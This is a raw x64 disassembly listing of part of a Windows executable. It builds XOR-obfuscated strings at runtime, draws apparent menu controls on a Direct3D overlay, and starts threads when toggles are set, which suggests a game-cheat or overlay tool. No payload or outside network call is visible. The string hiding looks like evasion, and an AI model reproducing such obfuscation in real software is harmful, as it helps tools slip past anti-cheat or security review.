mov word [rbp + 0xe40], Ordinal_46
mov byte [rbp + 0xe42], 1
lea rcx, [rbp + 0xe38]
call fcn.140073ca0
mov rcx, rax
lea rdx, [0x1401a7a62]
call fcn.14004ad70
test al, al
je 0x14007144f
movzx eax, byte [0x1401a7a62]
test al, al
je 0x1400713d8
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xb68], 0x5e5f4b7f
mov dword [rbp + 0xb6c], 0x58517b52
mov word [rbp + 0xb70], 0x100
lea rcx, [rbp + 0xb68]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x6d8], 0x54575c75
mov dword [rbp + 0x6dc], 0x100444e
lea rcx, [rbp + 0x6d8]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a62]
test al, al
jne 0x14007144f
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xb78], 0x5e5f4b7f
mov dword [rbp + 0xb7c], 0x58517b52
mov word [rbp + 0xb80], 0x100
lea rcx, [rbp + 0xb78]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x6e0], 0x54575c75
mov dword [rbp + 0x6e4], 0x100444e
lea rcx, [rbp + 0x6e0]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
movaps xmm0, xmm8
call fcn.140027e20
mov dword [rbp + 0xe48], 0x585b557a
mov dword [rbp + 0xe4c], 0x50781057
mov word [rbp + 0xe50], Ordinal_46
mov byte [rbp + 0xe52], 1
lea rcx, [rbp + 0xe48]
call fcn.140073ca0
mov rcx, rax
lea rdx, [0x1401a7a63]
call fcn.14004ad70
test al, al
je 0x1400715a9
movzx eax, byte [0x1401a7a63]
test al, al
je 0x140071532
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xb88], 0x585b557a
mov dword [rbp + 0xb8c], 0x58517b57
mov word [rbp + 0xb90], 0x100
lea rcx, [rbp + 0xb88]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x6e8], 0x54575c75
mov dword [rbp + 0x6ec], 0x100444e
lea rcx, [rbp + 0x6e8]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a63]
test al, al
jne 0x1400715a9
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xb98], 0x585b557a
mov dword [rbp + 0xb9c], 0x58517b57
mov word [rbp + 0xba0], 0x100
lea rcx, [rbp + 0xb98]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x6f0], 0x54575c75
mov dword [rbp + 0x6f4], 0x100444e
lea rcx, [rbp + 0x6f0]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movdqa xmm0, xmmword [str.tP_SH]
movdqu xmmword [rbp + 0x17c0], xmm0
mov byte [rbp + 0x17d0], 1
lea rcx, [rbp + 0x17c0]
call fcn.140073cd0
mov rcx, rax
lea rdx, [0x1401a7a64]
call fcn.14004ad70
test al, al
je 0x140071710
movzx eax, byte [0x1401a7a64]
test al, al
je 0x140071688
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x11e8], 0x535d5074
mov dword [rbp + 0x11ec], 0x5a4c7a48
mov dword [rbp + 0x11f0], 0x2c042f25
mov word [rbp + 0x11f4], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x11f6], 1
lea rcx, [rbp + 0x11e8]
call fcn.140074660
mov rbx, rax
mov dword [rbp + 0x6f8], 0x54575c75
mov dword [rbp + 0x6fc], 0x100444e
lea rcx, [rbp + 0x6f8]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a64]
test al, al
jne 0x140071710
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x11f8], 0x535d5074
mov dword [rbp + 0x11fc], 0x5a4c7a48
mov dword [rbp + 0x1200], 0x2c042f25
mov word [rbp + 0x1204], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x1206], 1
lea rcx, [rbp + 0x11f8]
call fcn.140074660
mov rbx, rax
mov dword [rbp + 0x700], 0x54575c75
mov dword [rbp + 0x704], 0x100444e
lea rcx, [rbp + 0x700]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
movaps xmm0, xmm8
call fcn.140027e20
mov dword [rbp + 0xf18], 0x4b484c68
mov dword [rbp + 0xf1c], 0x79135850
mov dword [rbp + 0xf20], 0x100262f
lea rcx, [rbp + 0xf18]
call fcn.1400745a0
mov rcx, rax
lea rdx, [0x1401a7a65]
call fcn.14004ad70
test al, al
je 0x140071872
movzx eax, byte [0x1401a7a65]
test al, al
je 0x1400717f4
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xe58], 0x4b484c68
mov dword [rbp + 0xe5c], 0x50785850
mov word [rbp + 0xe60], Ordinal_46
mov byte [rbp + 0xe62], 1
lea rcx, [rbp + 0xe58]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x708], 0x54575c75
mov dword [rbp + 0x70c], 0x100444e
lea rcx, [rbp + 0x708]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a65]
test al, al
jne 0x140071872
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xe68], 0x4b484c68
mov dword [rbp + 0xe6c], 0x50785850
mov word [rbp + 0xe70], Ordinal_46
mov byte [rbp + 0xe72], 1
lea rcx, [rbp + 0xe68]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x710], 0x54575c75
mov dword [rbp + 0x714], 0x100444e
lea rcx, [rbp + 0x710]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
cmp dword [0x1401a7a88], 3
jne 0x140071fc1
mov dword [rbp + 0x1468], 0x43d10000
mov dword [rbp + 0x146c], 0x43c98000
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x1468]
lea rcx, [0x1400ec0a0]
call fcn.14000eda0
movdqa xmm0, xmmword [0x140116cc0]
movdqu xmmword [rbp + 0x1578], xmm0
movdqa xmm1, xmmword [0x140116e40]
movdqu xmmword [rbp + 0x1588], xmm1
movdqa xmm0, xmmword [0x140116ae0]
movdqu xmmword [rbp + 0x1598], xmm0
mov dword [rbp + 0x15a8], 0x705063c
mov dword [rbp + 0x15ac], 0xa234d1f
mov dword [rbp + 0x15b0], 0x100041e
lea rcx, [rbp + 0x1578]
call fcn.140074240
mov rcx, rax
call fcn.140054480
call fcn.140050530
call fcn.1400514b0
mov dword [rbp + 0x8e8], 0x524a417d
mov dword [rbp + 0x8ec], 0x4584e
mov byte [rbp + 0x8f0], 1
lea rcx, [rbp + 0x8e8]
call fcn.140073c40
mov rcx, rax
call fcn.14004a2e0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
lea rdx, [rbp + 0x1b80]
lea rcx, [0x1401a72ec]
call fcn.140061b30
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140071970
mov rax, qword [rax]
movaps xmm0, xmmword [0x140116a30]
movups xmmword [rbp + 0x1ac0], xmm0
mov rdx, rax
lea rcx, [rbp + 0x1ac0]
call fcn.1400544b0
nop
lea rcx, [rbp + 0x1b80]
call fcn.140060910
mov dword [rbp + 0x8f8], 0x4f5b4d6b
mov dword [rbp + 0x8fc], 0x44e49
mov byte [rbp + 0x900], 1
lea rcx, [rbp + 0x8f8]
call fcn.140073c40
mov rcx, rax
call fcn.14004a2e0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
lea rdx, [0x1401a7420]
cmp qword [0x1401a7438], 0xf
cmova rdx, qword [0x1401a7420]
movaps xmm0, xmmword [0x140116a30]
movups xmmword [rbp + 0x1ad0], xmm0
lea rcx, [rbp + 0x1ad0]
call fcn.1400544b0
call fcn.140050530
call fcn.1400514b0
mov dword [rbp + 0x1470], 0x43c80000
mov dword [rbp + 0x1474], 0x42200000
mov dword [rbp + 0x1058], 0x5e4c586b
mov dword [rbp + 0x105c], 0x51517e1c
mov dword [rbp + 0x1060], 0x252826
mov byte [rbp + 0x1064], 1
lea rcx, [rbp + 0x1058]
call fcn.140074600
mov rcx, rax
lea rdx, [rbp + 0x1470]
call fcn.14004a510
test al, al
je 0x140071d01
lea rdi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rdi, qword [rbp + 0x1c20]
mov dword [rbp + 0xba8], 0x574f547d
mov dword [rbp + 0xbac], 0x4d51495d
mov word [rbp + 0xbb0], 0x100
lea rcx, [rbp + 0xba8]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x498], 0x5e57587f
mov word [rbp + 0x49c], 0x100
lea rcx, [rbp + 0x498]
call fcn.140073bb0
mov r9, rdi
mov r8d, dword [0x1401a7118]
mov rdx, rbx
mov rcx, rax
call fcn.140072750
lea rdi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rdi, qword [rbp + 0x1c20]
mov dword [rbp + 0x908], 0x48485c6e
mov dword [rbp + 0x90c], 0x505255
mov byte [rbp + 0x910], 1
lea rcx, [rbp + 0x908]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x4a0], 0x5e57587f
mov word [rbp + 0x4a4], 0x100
lea rcx, [rbp + 0x4a0]
call fcn.140073bb0
mov r9, rdi
mov r8d, dword [0x1401a710c]
mov rdx, rbx
mov rcx, rax
call fcn.140072750
lea rdi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rdi, qword [rbp + 0x1c20]
mov dword [rbp + 0x4a8], 0x5e5e5675
mov word [rbp + 0x4ac], 0x100
lea rcx, [rbp + 0x4a8]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x4b0], 0x5e57587f
mov word [rbp + 0x4b4], 0x100
lea rcx, [rbp + 0x4b0]
call fcn.140073bb0
mov r9, rdi
mov r8d, dword [0x1401a7110]
mov rdx, rbx
mov rcx, rax
call fcn.140072750
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, byte [0x1401a760b]
mov dword [rbp + 0xbb8], 0x7849506e
mov dword [rbp + 0xbbc], 0x545d5854
mov word [rbp + 0xbc0], 0x100
lea rcx, [rbp + 0xbb8]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x4b8], 0x5e57587f
mov word [rbp + 0x4bc], 0x100
lea rcx, [rbp + 0x4b8]
call fcn.140073bb0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, byte [0x1401a760a]
mov dword [rbp + 0xbc8], 0x6b09696c
mov dword [rbp + 0xbcc], 0x575d495d
mov word [rbp + 0xbd0], 0x100
lea rcx, [rbp + 0xbc8]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x4c0], 0x5e57587f
mov word [rbp + 0x4c4], 0x100
lea rcx, [rbp + 0x4c0]
call fcn.140073bb0
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
mov dword [rbp + 0x1208], 0x5d54567b
mov dword [rbp + 0x120c], 0x6c1e5a55
mov dword [rbp + 0x1210], 0x27273721
mov word [rbp + 0x1214], 0x65
mov byte [rbp + 0x1216], 1
lea rcx, [rbp + 0x1208]
call fcn.140074660
mov rdx, rax
lea rcx, [0x1401a7420]
call fcn.1400616f0
call fcn.1400514b0
call fcn.1400514b0
mov dword [rbp + 0x1478], 0x42ba0000
mov dword [rbp + 0x147c], 0x41f00000
mov dword [rbp + 0xe78], 0x5a5f557b
mov dword [rbp + 0xe7c], 0x726a1d52
mov word [rbp + 0xe80], reloc.WS2_32.dll_recv
mov byte [rbp + 0xe82], 1
lea rcx, [rbp + 0xe78]
call fcn.140073ca0
mov rcx, rax
lea rdx, [rbp + 0x1478]
call fcn.14004a510
test al, al
je 0x140071d89
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140082150]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1438], 0x42ba0000
mov dword [rbp + 0x143c], 0x41f00000
mov dword [rbp + 0xf08], 0x5a5f557b
mov dword [rbp + 0xf0c], 0x70761d52
mov dword [rbp + 0xf10], 0x1001513
lea rcx, [rbp + 0xf08]
call fcn.1400745a0
mov rcx, rax
lea rdx, [rbp + 0x1438]
call fcn.14004a510
test al, al
je 0x140071e0c
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x14007daf0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1430], 0x42ba0000
mov dword [rbp + 0x1434], 0x41f00000
mov dword [rbp + 0x1218], 0x524c5c7c
mov dword [rbp + 0x121c], 0x761e585f
mov dword [rbp + 0x1220], 0xa046104
mov word [rbp + 0x1224], Ordinal_33
mov byte [rbp + 0x1226], 1
lea rcx, [rbp + 0x1218]
call fcn.140074660
mov rcx, rax
lea rdx, [rbp + 0x1430]
call fcn.14004a510
test al, al
je 0x140071e9f
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140077740]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1401a7a6c], 0
je 0x140071fbc
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x1428], 0x42ba0000
mov dword [rbp + 0x142c], 0x41f00000
mov dword [rbp + 0xe88], 0x4e585c7c
mov dword [rbp + 0xe8c], 0x6f6a1d5b
mov word [rbp + 0xe90], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xe92], 1
lea rcx, [rbp + 0xe88]
call fcn.140073ca0
mov rcx, rax
lea rdx, [rbp + 0x1428]
call fcn.14004a510
test al, al
je 0x140071f35
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140082c90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1401a7a6c], 0
je 0x140071fbc
mov dword [rbp + 0x1418], 0x42ba0000
mov dword [rbp + 0x141c], 0x41f00000
mov dword [rbp + 0xe98], 0x4e585c7c
mov dword [rbp + 0xe9c], 0x50721d5b
mov word [rbp + 0xea0], Ordinal_46
mov byte [rbp + 0xea2], 1
lea rcx, [rbp + 0xe98]
call fcn.140073ca0
mov rcx, rax
lea rdx, [rbp + 0x1418]
call fcn.14004a510
test al, al
je 0x140071fbc
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140073810]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140019ce0
call fcn.140019ce0
mov r15, qword [0x1401a77f0]
mov r12, qword [0x1401a77f8]
cmp r15, r12
je 0x1400722ca
xor esi, esi
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c60], xmm0
mov qword [rbp + 0x1c70], rsi
mov qword [rbp + 0x1c78], rsi
mov rdi, qword [r15 + 0x10]
mov rsi, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x140072009
mov rsi, qword [r15]
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x1400725a1
cmp rdi, 0xf
ja 0x140072045
mov qword [rbp + 0x1c70], rdi
mov r14d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x1c78], r14
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x1c60], xmm0
jmp 0x1400720f8
mov qword [rbp + 0x1c78], reloc.WS2_32.dll_ntohs
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x14007206f
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140072096
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400720b8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400725ad
mov rcx, rax
call fcn.1400e4830
mov rcx, rax
test rax, rax
je 0x1400724a3
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400720c6
test rcx, rcx
je 0x1400720c4
call fcn.1400e4830
jmp 0x1400720c6
xor eax, eax
mov qword [rbp + 0x1c60], rax
mov qword [rbp + 0x1c70], rdi
mov qword [rbp + 0x1c78], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov r14, qword [rbp + 0x1c78]
mov rdi, qword [rbp + 0x1c70]
mov dword [rbp + 0x88], 0x57564c53
mov dword [rbp + 0x8c], 0x5c57535d
mov word [rbp + 0x90], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x92], 1
xor esi, esi
mov ecx, esi
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x88], al
inc rcx
cmp rcx, 9
jb 0x140072120
mov byte [rbp + 0x92], sil
lea rcx, [rbp + 0x88]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], sil
jne 0x140072150
lea rcx, [rbp + 0x1c60]
mov rbx, qword [rbp + 0x1c60]
cmp r14, 0xf
cmova rcx, rbx
cmp rdi, rax
jne 0x1400721b4
mov r8, rdi
lea rdx, [rbp + 0x88]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400721b4
mov rcx, qword [0x1401a7140]
call fcn.140001860
mov rcx, qword [0x1401a7140]
call fcn.1400018b0
mov r14, qword [rbp + 0x1c78]
mov rdi, qword [rbp + 0x1c70]
mov rbx, qword [rbp + 0x1c60]
mov dword [rbp + 0x98], 0x57564c5e
mov dword [rbp + 0x9c], 0x5653595d
mov word [rbp + 0xa0], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0xa2], 1
mov rcx, rsi
nop dword [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x98], al
inc rcx
cmp rcx, 9
jb 0x1400721e0
mov byte [rbp + 0xa2], sil
lea rcx, [rbp + 0x98]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], sil
jne 0x140072210
lea rcx, [rbp + 0x1c60]
cmp r14, 0xf
cmova rcx, rbx
cmp rdi, rax
jne 0x14007226d
mov r8, rdi
lea rdx, [rbp + 0x98]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14007226d
mov byte [0x1401a7a6c], 1
mov rcx, qword [0x1401a7140]
call fcn.140001860
mov rcx, qword [0x1401a7140]
call fcn.140001a20
mov r14, qword [rbp + 0x1c78]
mov rbx, qword [rbp + 0x1c60]
cmp r14, 0xf
jbe 0x1400722a4
lea rdx, [r14 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14007229c
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400724a3
mov rcx, rbx
call fcn.1400e486c
mov qword [rbp + 0x1c70], rsi
mov qword [rbp + 0x1c78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c60], 0
add r15, 0x20
cmp r15, r12
jne 0x140071fe0
movzx eax, byte [0x1401a7a76]
xor r15d, r15d
movabs r12, 0x7fffffffffffffff
cmp al, 1
jne 0x1400722e7
call fcn.140064ab0
call fcn.1400199e0
nop
mov rdx, qword [rbp + 0x1c98]
cmp rdx, 0xf
jbe 0x14007232e
inc rdx
mov rcx, qword [rbp + 0x1c80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072329
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400724aa
call fcn.1400e486c
mov qword [rbp + 0x1c90], r15
mov qword [rbp + 0x1c98], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c80], 0
mov rdx, qword [rbp + 0x1c38]
cmp rdx, 0xf
jbe 0x140072388
inc rdx
mov rcx, qword [rbp + 0x1c20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072383
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400724b1
call fcn.1400e486c
mov qword [rbp + 0x1c30], r15
mov qword [rbp + 0x1c38], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1c20], 0
call fcn.140019ef0
mov rcx, qword [0x1401a7280]
mov rax, qword [rcx]
mov dword [rsp + 0x30], r15d
movss dword [rsp + 0x28], xmm9
mov dword [rsp + 0x20], r15d
mov r9d, 3
xor r8d, r8d
xor edx, edx
call qword [rax + 0x158]
mov rcx, qword [0x1401a7280]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140072408
call fcn.140024b20
call fcn.14001c0b0
mov rcx, rax
call fcn.14003fa20
mov rcx, qword [0x1401a7280]
mov rax, qword [rcx]
call qword [rax + 0x150]
test dword [r13], 0x400
je 0x140072420
call fcn.14002aac0
xor edx, edx
xor ecx, ecx
call fcn.140025740
mov rcx, qword [0x1401a7280]
mov rax, qword [rcx]
mov r10, qword [rax + 0x88]
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call r10
cmp eax, 0x88760868
jne 0x14007247d
mov rcx, qword [0x1401a7280]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x14007247d
call fcn.14003f860
mov rcx, qword [0x1401a7280]
mov rax, qword [rcx]
lea rdx, [0x1401a7290]
call qword [rax + 0x80]
call fcn.14003f420
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400724b8
lea rbx, [0x1401a7150]
cmp dword [rbp + 0x1ca8], 0x12
jne 0x14006a590
jmp 0x1400724c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rbp + 0x1ca8], reloc.WS2_32.dll_select
call fcn.140040670
call fcn.1400416b0
xor ecx, ecx
call fcn.140011e00
mov rcx, qword [0x1401a7280]
test rcx, rcx
je 0x1400724ec
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401a7280], r15
mov rcx, qword [0x1401a72d0]
test rcx, rcx
je 0x140072505
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401a72d0], r15
mov rdx, qword [rbp + 0x1be8]
mov rcx, qword [rbp + 0x1c10]
call qword [sym.imp.USER32.dll_UnregisterClassA]
jmp 0x140072539
call fcn.140062e20
mov rdx, qword [rbp + 0x1be8]
mov rcx, qword [rbp + 0x1c10]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, 1
mov rcx, qword [rbp + 0x1ee0]
xor rcx, rsp
call fcn.1400e4810
lea r11, [rsp + 0x2090]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140073770
nop
call fcn.140073770
int3
call fcn.1400735c0
int3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
jmp 0x140068fb0